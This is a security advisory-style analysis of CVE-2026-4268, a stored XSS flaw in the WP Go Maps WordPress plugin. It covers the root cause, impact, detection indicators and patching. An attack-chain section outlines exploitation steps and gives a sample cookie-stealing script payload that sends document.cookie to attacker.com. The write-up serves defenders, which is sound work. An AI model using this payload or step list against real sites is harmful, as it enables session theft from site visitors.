CVE-2026-4268: 
WordPress vulnerability analysis and mitigation

CVE-2026-4268 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Go Maps (formerly WP Google Maps) plugin for WordPress. It affects all versions up to and including 10.0.05, and was published on March 18, 2026, by Wordfence. The flaw allows authenticated attackers with Subscriber-level access or above to inject arbitrary web scripts via the wpgmza_custom_js parameter, which execute whenever a user visits an affected page. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, EUVD).

The root cause is a combination of insufficient input sanitization, missing output escaping, and a missing capability check in the admin_post_wpgmza_save_settings hook's anonymous function (CWE-79). Because the capability check is absent, any authenticated user — including those with only Subscriber-level privileges — can invoke this hook and supply a malicious JavaScript payload via the wpgmza_custom_js parameter. The injected script is then persistently stored and rendered to all subsequent visitors of the affected page (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to persistently inject malicious JavaScript into WordPress pages, affecting all site visitors. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, or defacement, compromising both user confidentiality and site integrity. While availability is not directly impacted, the stored nature of the attack means every visitor to an injected page is at risk without further attacker interaction (Wordfence, EUVD).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-4268 as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a registered Subscriber-level account on the target WordPress site (Wordfence).

1. Reconnaissance: Identify WordPress sites running WP Go Maps (formerly WP Google Maps) plugin version 10.0.05 or earlier using tools like WPScan or by inspecting plugin directories.
2. Obtain Subscriber Access: Register a free account on the target WordPress site (if open registration is enabled) or use compromised Subscriber-level credentials.
3. Craft Malicious Request: Prepare an HTTP POST request targeting the admin_post_wpgmza_save_settings action with the wpgmza_custom_js parameter containing a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
4. Submit the Payload: Send the crafted POST request to the WordPress admin-post endpoint (e.g., /wp-admin/admin-post.php) while authenticated as a Subscriber. The missing capability check allows the request to be processed without admin privileges.
5. Trigger Execution: The injected script is stored in the plugin's settings and executes in the browser of any user who visits a page where the plugin renders its output, enabling session hijacking or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to /wp-admin/admin-post.php with action=wpgmza_save_settings from low-privileged user accounts; unexpected modifications to plugin settings timestamps.
• File System / Database: Unexpected or obfuscated JavaScript content stored in the wpgmza_custom_js database option (check wp_options table for the wpgmza_custom_js key).
• Network: Outbound connections from site visitors' browsers to unknown external domains shortly after visiting pages with the WP Go Maps plugin embedded; unusual referrer patterns in web analytics.
• Process/Behavior: Reports from users of unexpected redirects, pop-ups, or credential prompts when visiting pages containing WP Go Maps map embeds.

Site administrators should update the WP Go Maps plugin to version 10.0.06 or later, which addresses the missing capability check and improper sanitization (Wordfence, Sucuri Blog). As an interim workaround, disabling open user registration or restricting Subscriber-level account creation reduces the attack surface. Additionally, reviewing the wpgmza_custom_js value in the WordPress database for unexpected content is recommended to detect any prior exploitation.

Wordfence disclosed the vulnerability and credited the discovery in their threat intelligence platform. Sucuri included CVE-2026-4268 in their March 2026 vulnerability patch roundup, highlighting it as one of several WordPress plugin issues requiring prompt attention (Sucuri Blog). No significant broader media coverage or notable researcher commentary beyond standard vulnerability tracking has been identified.